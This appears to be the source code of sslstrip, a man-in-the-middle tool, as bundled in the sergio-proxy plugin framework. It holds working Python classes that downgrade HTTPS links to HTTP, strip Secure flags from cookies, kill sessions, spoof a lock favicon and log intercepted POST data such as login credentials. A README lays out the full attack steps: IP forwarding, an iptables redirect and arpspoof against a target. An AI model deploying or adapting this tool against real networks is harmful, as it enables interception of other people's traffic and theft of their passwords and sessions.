# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import urlparse, logging, os, sys, random
from twisted.web.http import Request
from twisted.web.http import HTTPChannel
from twisted.web.http import HTTPClient
from twisted.internet import ssl
from twisted.internet import defer
from twisted.internet import reactor
from twisted.internet.protocol import ClientFactory
from ServerConnectionFactory import ServerConnectionFactory
from ServerConnection import ServerConnection
from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
class ClientRequest(Request):
''' This class represents incoming client requests and is essentially where
the magic begins. Here we remove the client headers we dont like, and then
respond with either favicon spoofing, session denial, or proxy through HTTP
or SSL to the server.
'''
def __init__(self, channel, queued, reactor=reactor):
Request.__init__(self, channel, queued)
self.reactor = reactor
self.urlMonitor = URLMonitor.getInstance()
self.cookieCleaner = CookieCleaner.getInstance()
self.dnsCache = DnsCache.getInstance()
# self.uniqueId = random.randint(0, 10000)
def cleanHeaders(self):
headers = self.getAllHeaders().copy()
if 'accept-encoding' in headers:
headers['accept-encoding'] == 'identity'
if 'if-modified-since' in headers:
del headers['if-modified-since']
if 'cache-control' in headers:
del headers['cache-control']
return headers
def getPathFromUri(self):
if (self.uri.find("http://") == 0):
index = self.uri.find('/', 7)
return self.uri[index:]
return self.uri
def getPathToLockIcon(self):
if os.path.exists("lock.ico"): return "lock.ico"
scriptPath = os.path.abspath(os.path.dirname(sys.argv[0]))
scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico")
if os.path.exists(scriptPath): return scriptPath
logging.warning("Error: Could not find lock.ico")
return "lock.ico"
def handleHostResolvedSuccess(self, address):
logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
host = self.getHeader("host")
headers = self.cleanHeaders()
client = self.getClientIP()
path = self.getPathFromUri()
self.content.seek(0,0)
postData = self.content.read()
url = 'http://' + host + path
self.dnsCache.cacheResolution(host, address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
logging.debug("Sending expired cookies...")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
host, headers, path))
elif (self.urlMonitor.isSecureFavicon(client, path)):
logging.debug("Sending spoofed favicon response...")
self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url)):
logging.debug("Sending request via SSL...")
self.proxyViaSSL(address, self.method, path, postData, headers,
self.urlMonitor.getSecurePort(client, url))
else:
logging.debug("Sending request via HTTP...")
self.proxyViaHTTP(address, self.method, path, postData, headers)
def handleHostResolvedError(self, error):
logging.warning("Host resolution error: " + str(error))
try:
self.finish()
except:
pass
def resolveHost(self, host):
address = self.dnsCache.getCachedAddress(host)
if address != None:
logging.debug("Host cached.")
return defer.succeed(address)
else:
logging.debug("Host not cached.")
return reactor.resolve(host)
def process(self):
logging.debug("Resolving host: %s" % (self.getHeader('host')))
host = self.getHeader('host')
deferred = self.resolveHost(host)
deferred.addCallback(self.handleHostResolvedSuccess)
deferred.addErrback(self.handleHostResolvedError)
def proxyViaHTTP(self, host, method, path, postData, headers):
connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
connectionFactory.protocol = ServerConnection
self.reactor.connectTCP(host, 80, connectionFactory)
def proxyViaSSL(self, host, method, path, postData, headers, port):
clientContextFactory = ssl.ClientContextFactory()
connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
connectionFactory.protocol = SSLServerConnection
self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
def sendExpiredCookies(self, host, path, expireHeaders):
self.setResponseCode(302, "Moved")
self.setHeader("Connection", "close")
self.setHeader("Location", "http://" + host + path)
for header in expireHeaders:
self.setHeader("Set-Cookie", header)
self.finish()
def sendSpoofedFaviconResponse(self):
icoFile = open(self.getPathToLockIcon())
self.setResponseCode(200, "OK")
self.setHeader("Content-type", "image/x-icon")
self.write(icoFile.read())
icoFile.close()
self.finish()

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# Copyright (c) 2004-2011 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import string
class CookieCleaner:
'''This class cleans cookies we haven't seen before. The basic idea is to
kill sessions, which isn't entirely straight-forward. Since we want this to
be generalized, there's no way for us to know exactly what cookie we're trying
to kill, which also means we don't know what domain or path it has been set for.
The rule with cookies is that specific overrides general. So cookies that are
set for mail.foo.com override cookies with the same name that are set for .foo.com,
just as cookies that are set for foo.com/mail override cookies with the same name
that are set for foo.com/
The best we can do is guess, so we just try to cover our bases by expiring cookies
in a few different ways. The most obvious thing to do is look for individual cookies
and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
set by Javascript instead of a Set-Cookie header, and if we block those the site
will think cookies are disabled in the browser. So we do the expirations and whitlisting
based on client,server tuples. The first time a client hits a server, we kill whatever
cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
'''
_instance = None
def getInstance():
if CookieCleaner._instance == None:
CookieCleaner._instance = CookieCleaner()
return CookieCleaner._instance
getInstance = staticmethod(getInstance)
def __init__(self):
self.cleanedCookies = set();
self.enabled = False
def setEnabled(self, enabled):
self.enabled = enabled
def isClean(self, method, client, host, headers):
if method == "POST": return True
if not self.enabled: return True
if not self.hasCookies(headers): return True
return (client, self.getDomainFor(host)) in self.cleanedCookies
def getExpireHeaders(self, method, client, host, headers, path):
domain = self.getDomainFor(host)
self.cleanedCookies.add((client, domain))
expireHeaders = []
for cookie in headers['cookie'].split(";"):
cookie = cookie.split("=")[0].strip()
expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
expireHeaders.extend(expireHeadersForCookie)
return expireHeaders
def hasCookies(self, headers):
return 'cookie' in headers
def getDomainFor(self, host):
hostParts = host.split(".")
return "." + hostParts[-2] + "." + hostParts[-1]
def getExpireCookieStringFor(self, cookie, host, domain, path):
pathList = path.split("/")
expireStrings = list()
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
if len(pathList) > 2:
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
return expireStrings

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sslstrip/DnsCache.py Normal file
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class DnsCache:
'''
The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
'''
_instance = None
def __init__(self):
self.cache = {}
def cacheResolution(self, host, address):
self.cache[host] = address
def getCachedAddress(self, host):
if host in self.cache:
return self.cache[host]
return None
def getInstance():
if DnsCache._instance == None:
DnsCache._instance = DnsCache()
return DnsCache._instance
getInstance = staticmethod(getInstance)

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# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from sslstrip.URLMonitor import URLMonitor
class DummyResponseTamperer:
'''
DummyResponseTamperer is an exemplary class for server response tampering.
'''
def __init__(self, config):
self.config = config
self.urlMonitor = URLMonitor.getInstance()
logging.log(logging.DEBUG, "Tampering enabled.")
def isEnabled(self):
return self.config["enabled"]
def tamper(self, url, data, headers, req_headers, ip):
if not self.isEnabled():
return data
# headers manipulation - see http://twistedmatrix.com/documents/10.1.0/api/twisted.web.http_headers.Headers.html
# setting headers
#headers.setRawHeaders("X-aaa", ["aaa"])
# getting headers
#headers.getRawHeaders("Content-Type")
return data

96
sslstrip/ProxyPlugins.py Normal file
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# Copyright (c) 2010-2011 Ben Schmidt
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import sys
import inspect
class ProxyPlugins:
'''
This class does some magic so that all we need to do in
ServerConnection is do a self.plugins.hook() call
and we will call any plugin that implements the function
that it came from with the args passed to the original
function.
To do this, we are probably abusing the inspect module,
and if it turns out to be too slow it can be changed. For
now, it's nice because it makes for very little code needed
to tie us in.
Sadly, propagating changes back to the function is not quite
as easy in all cases :-/ . Right now, changes to local function
vars still have to be set back in the function. This only happens
in handleResponse, but is still annoying.
'''
_instance = None
def setPlugins(self,plugins):
'''Set the plugins in use'''
self.plist = []
#build a lookup list
#need to clean up in future
self.pmthds = {}
for p in plugins:
self.addPlugin(p)
def addPlugin(self,p):
'''Load a plugin'''
self.plist.append(p)
for mthd in p.implements:
try:
self.pmthds[mthd].append(getattr(p,mthd))
except KeyError:
self.pmthds[mthd] = [getattr(p,mthd)]
def removePlugin(self,p):
'''Unload a plugin'''
self.plist.remove(p)
for mthd in p.implements:
self.pmthds[mthd].remove(p)
def hook(self):
'''Magic to hook various function calls in sslstrip'''
#gets the function name and args of our caller
frame = sys._getframe(1)
fname = frame.f_code.co_name
keys,_,_,values = inspect.getargvalues(frame)
#assumes that no one calls del on an arg :-/
args = {}
for key in keys:
args[key] = values[key]
#prevent self conflict
args['request'] = args['self']
del args['self']
#calls any plugin that has this hook
try:
for f in self.pmthds[fname]:
a = f(**args)
if a != None: args = a
except KeyError:
pass
#pass our changes to the locals back down
return args
def getInstance():
if ProxyPlugins._instance == None:
ProxyPlugins._instance = ProxyPlugins()
return ProxyPlugins._instance
getInstance = staticmethod(getInstance)

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Originally, sergio-proxy was a standalone implementation of a
transparent proxy using the Twisted networking framework
for Python. However, sslstrip uses almost *exactly* the
same interception method, so I decided to use sslstrip's
more mature libraries and try to provide a simple plugin
interface to grab the data.
The only file that has been modified from sslstrip is the
ServerConnection.py file, from which we can hook at certain
important points during the intercept.
Copyright 2011, Ben Schmidt
Released under the GPLv3

32
sslstrip/README.sslstrip Executable file
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sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
attacks.
It requires Python 2.5 or newer, along with the 'twisted' python module.
Installing:
* Unpack: tar zxvf sslstrip-0.5.tar.gz
* Install twisted: sudo apt-get install python-twisted-web
* (Optionally) run 'python setup.py install' as root to install,
or you can just run it out of the directory.
Running:
sslstrip can be run from the source base without installation.
Just run 'python sslstrip.py -h' as a non-root user to get the
command-line options.
The four steps to getting this working (assuming you're running Linux)
are:
1) Flip your machine into forwarding mode (as root):
echo "1" > /proc/sys/net/ipv4/ip_forward
2) Setup iptables to intercept HTTP requests (as root):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>
3) Run sslstrip with the command-line options you'd like (see above).
4) Run arpspoof to redirect traffic to your machine (as root):
arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>
More Info:
http://www.thoughtcrime.org/software/sslstrip/

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# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging, ConfigParser
class ResponseTampererFactory:
'''
ResponseTampererFactory creates response tamperer that modifies responses to clients based on config file setting.
'''
_instance = None
_default_config = {"enabled": False, "tamper_class": "sslstrip.DummyResponseTamperer"}
def __init__(self):
pass
def createTamperer(configFile):
logging.log(logging.DEBUG, "Reading tamper config file: %s" % (configFile))
config = ResponseTampererFactory._default_config.copy()
if configFile:
config.update(ResponseTampererFactory.parseConfig(configFile))
if config['enabled']:
logging.log(logging.DEBUG, "Loading tamper class: %s" % (config["tamper_class"]))
m = __import__(config["tamper_class"], globals(), locals(), config["tamper_class"])
return getattr(m, m.__name__.replace(m.__package__ + ".", ''))(config)
def parseConfig(configFile):
config = ConfigParser.ConfigParser()
config.read(configFile)
readConfig = config._sections
readConfig.update(config.defaults())
return readConfig
def getTampererInstance():
return ResponseTampererFactory._instance
def buildTamperer(configFile):
if ResponseTampererFactory._instance == None:
ResponseTampererFactory._instance = ResponseTampererFactory.createTamperer(configFile)
getTampererInstance = staticmethod(getTampererInstance)
buildTamperer = staticmethod(buildTamperer)
createTamperer = staticmethod(createTamperer)
parseConfig = staticmethod(parseConfig)

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# Copyright (c) 2004-2009 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging, re, string
from ServerConnection import ServerConnection
class SSLServerConnection(ServerConnection):
'''
For SSL connections to a server, we need to do some additional stripping. First we need
to make note of any relative links, as the server will be expecting those to be requested
via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
'''
cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
iconExpression = re.compile(r"<link rel=\"shortcut icon\" .*href=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
headExpression = re.compile(r"<head>", re.IGNORECASE)
def __init__(self, command, uri, postData, headers, client):
ServerConnection.__init__(self, command, uri, postData, headers, client)
def getLogLevel(self):
return logging.INFO
def getPostPrefix(self):
return "SECURE POST"
def handleHeader(self, key, value):
if (key.lower() == 'set-cookie'):
value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
ServerConnection.handleHeader(self, key, value)
def stripFileFromPath(self, path):
(strippedPath, lastSlash, file) = path.rpartition('/')
return strippedPath
def buildAbsoluteLink(self, link):
absoluteLink = ""
if ((not link.startswith('http')) and (not link.startswith('/'))):
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
logging.debug("Found path-relative link in secure transmission: " + link)
logging.debug("New Absolute path-relative link: " + absoluteLink)
elif not link.startswith('http'):
absoluteLink = "http://"+self.headers['host']+link
logging.debug("Found relative link in secure transmission: " + link)
logging.debug("New Absolute link: " + absoluteLink)
if not absoluteLink == "":
absoluteLink = absoluteLink.replace('&amp;', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
def replaceCssLinks(self, data):
iterator = re.finditer(SSLServerConnection.cssExpression, data)
for match in iterator:
self.buildAbsoluteLink(match.group(1))
return data
def replaceFavicon(self, data):
match = re.search(SSLServerConnection.iconExpression, data)
if (match != None):
data = re.sub(SSLServerConnection.iconExpression,
"<link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
else:
data = re.sub(SSLServerConnection.headExpression,
"<head><link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
return data
def replaceSecureLinks(self, data):
data = ServerConnection.replaceSecureLinks(self, data)
data = self.replaceCssLinks(data)
if (self.urlMonitor.isFaviconSpoofing()):
data = self.replaceFavicon(data)
iterator = re.finditer(SSLServerConnection.linkExpression, data)
for match in iterator:
self.buildAbsoluteLink(match.group(10))
return data

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# Copyright (c) 2004-2009 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging, re, string, random, zlib, gzip, StringIO, sys
import plugins
from twisted.web.http import HTTPClient
from ResponseTampererFactory import ResponseTampererFactory
from URLMonitor import URLMonitor
from ProxyPlugins import ProxyPlugins
from pprint import pformat
class ServerConnection(HTTPClient):
''' The server connection is where we do the bulk of the stripping. Everything that
comes back is examined. The headers we dont like are removed, and the links are stripped
from HTTPS to HTTP.
'''
urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
urlType = re.compile(r"https://", re.IGNORECASE)
urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
def __init__(self, command, uri, postData, headers, client):
self.command = command
self.uri = uri
self.postData = postData
self.headers = headers
self.client = client
self.urlMonitor = URLMonitor.getInstance()
self.responseTamperer = ResponseTampererFactory.getTampererInstance()
self.plugins = ProxyPlugins.getInstance()
self.isImageRequest = False
self.isCompressed = False
self.contentLength = None
self.shutdownComplete = False
def post2dict(self, string):
dict = {}
for line in string.split('&'):
t = line.split('=')
dict[t[0]] = t[1]
return dict
def getLogLevel(self):
return logging.DEBUG
def getPostPrefix(self):
return "POST"
def sendRequest(self):
logging.log(self.getLogLevel(), "%s Sending Request: %s %s%s" % (self.client.getClientIP(), self.command, self.headers['host'], self.uri))
self.plugins.hook()
self.sendCommand(self.command, self.uri)
def sendHeaders(self):
for header, value in self.headers.items():
#logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
self.sendHeader(header, value)
self.endHeaders()
def sendPostData(self):
if 'clientprfl' in self.uri:
out = pformat(self.post2dict(self.postData))
logging.warning("Browser Profilerer data from " + str(self.client.getClientIP()) + ":\n" + out)
else:
logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
self.transport.write(self.postData)
def connectionMade(self):
#logging.log(self.getLogLevel(), "HTTP connection made.")
self.plugins.hook()
self.sendRequest()
self.sendHeaders()
if (self.command == 'POST'):
self.sendPostData()
def handleStatus(self, version, code, message):
#logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value):
if (key.lower() == 'location'):
value = self.replaceSecureLinks(value)
if (key.lower() == 'content-type'):
if (value.find('image') != -1):
self.isImageRequest = True
logging.debug("Response is image content, not scanning...")
if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1):
logging.debug("Response is compressed...")
self.isCompressed = True
elif (key.lower() == 'content-length'):
self.contentLength = value
elif (key.lower() == 'set-cookie'):
self.client.responseHeaders.addRawHeader(key, value)
else:
self.client.setHeader(key, value)
self.plugins.hook()
def handleEndHeaders(self):
if (self.isImageRequest and self.contentLength != None):
self.client.setHeader("Content-Length", self.contentLength)
if self.length == 0:
self.shutdown()
def handleResponsePart(self, data):
if (self.isImageRequest):
self.client.write(data)
else:
HTTPClient.handleResponsePart(self, data)
def handleResponseEnd(self):
if (self.isImageRequest):
self.shutdown()
else:
try:
HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors
except:
pass
def handleResponse(self, data):
if (self.isCompressed):
logging.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
#logging.log(self.getLogLevel(), "Read from server:\n" + data)
data = self.replaceSecureLinks(data)
#Hook the ResponseTampererFactory
if self.responseTamperer:
data = self.responseTamperer.tamper(self.client.uri, data, self.client.responseHeaders, self.client.getAllHeaders(), self.client.getClientIP())
res = self.plugins.hook()
data = res['data']
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))
try:
self.client.write(data) #Gets rid of some generic errors
except:
pass
try:
self.shutdown()
except:
logging.info("Client connection dropped before request finished.")
def replaceSecureLinks(self, data):
iterator = re.finditer(ServerConnection.urlExpression, data)
for match in iterator:
url = match.group()
logging.debug("Found secure reference: " + url)
url = url.replace('https://', 'http://', 1)
url = url.replace('&amp;', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
return re.sub(ServerConnection.urlType, 'http://', data)
def shutdown(self):
if not self.shutdownComplete:
self.shutdownComplete = True
try:
self.client.finish()
self.transport.loseConnection()
except:
pass

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# Copyright (c) 2004-2009 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from twisted.internet.protocol import ClientFactory
class ServerConnectionFactory(ClientFactory):
def __init__(self, command, uri, postData, headers, client):
self.command = command
self.uri = uri
self.postData = postData
self.headers = headers
self.client = client
def buildProtocol(self, addr):
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
def clientConnectionFailed(self, connector, reason):
logging.debug("Server connection failed.")
destination = connector.getDestination()
if (destination.port != 443):
logging.debug("Retrying via SSL")
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
else:
self.client.finish()

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# Copyright (c) 2004-2009 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from twisted.web.http import HTTPChannel
from ClientRequest import ClientRequest
class StrippingProxy(HTTPChannel):
'''sslstrip is, at heart, a transparent proxy server that does some unusual things.
This is the basic proxy server class, where we get callbacks for GET and POST methods.
We then proxy these out using HTTP or HTTPS depending on what information we have about
the (connection, client_address) tuple in our cache.
'''
requestFactory = ClientRequest

87
sslstrip/URLMonitor.py Normal file
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# Copyright (c) 2004-2009 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import re
class URLMonitor:
'''
The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
server is expecting over SSL. It also keeps track of secure favicon urls.
'''
# Start the arms race, and end up here...
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
_instance = None
def __init__(self):
self.strippedURLs = set()
self.strippedURLPorts = {}
self.faviconReplacement = False
def isSecureLink(self, client, url):
for expression in URLMonitor.javascriptTrickery:
if (re.match(expression, url)):
return True
return (client,url) in self.strippedURLs
def getSecurePort(self, client, url):
if (client,url) in self.strippedURLs:
return self.strippedURLPorts[(client,url)]
else:
return 443
def addSecureLink(self, client, url):
methodIndex = url.find("//") + 2
method = url[0:methodIndex]
pathIndex = url.find("/", methodIndex)
host = url[methodIndex:pathIndex]
path = url[pathIndex:]
port = 443
portIndex = host.find(":")
if (portIndex != -1):
host = host[0:portIndex]
port = host[portIndex+1:]
if len(port) == 0:
port = 443
url = method + host + path
self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port)
def setFaviconSpoofing(self, faviconSpoofing):
self.faviconSpoofing = faviconSpoofing
def isFaviconSpoofing(self):
return self.faviconSpoofing
def isSecureFavicon(self, client, url):
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def getInstance():
if URLMonitor._instance == None:
URLMonitor._instance = URLMonitor()
return URLMonitor._instance
getInstance = staticmethod(getInstance)

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sslstrip/__init__.py Normal file
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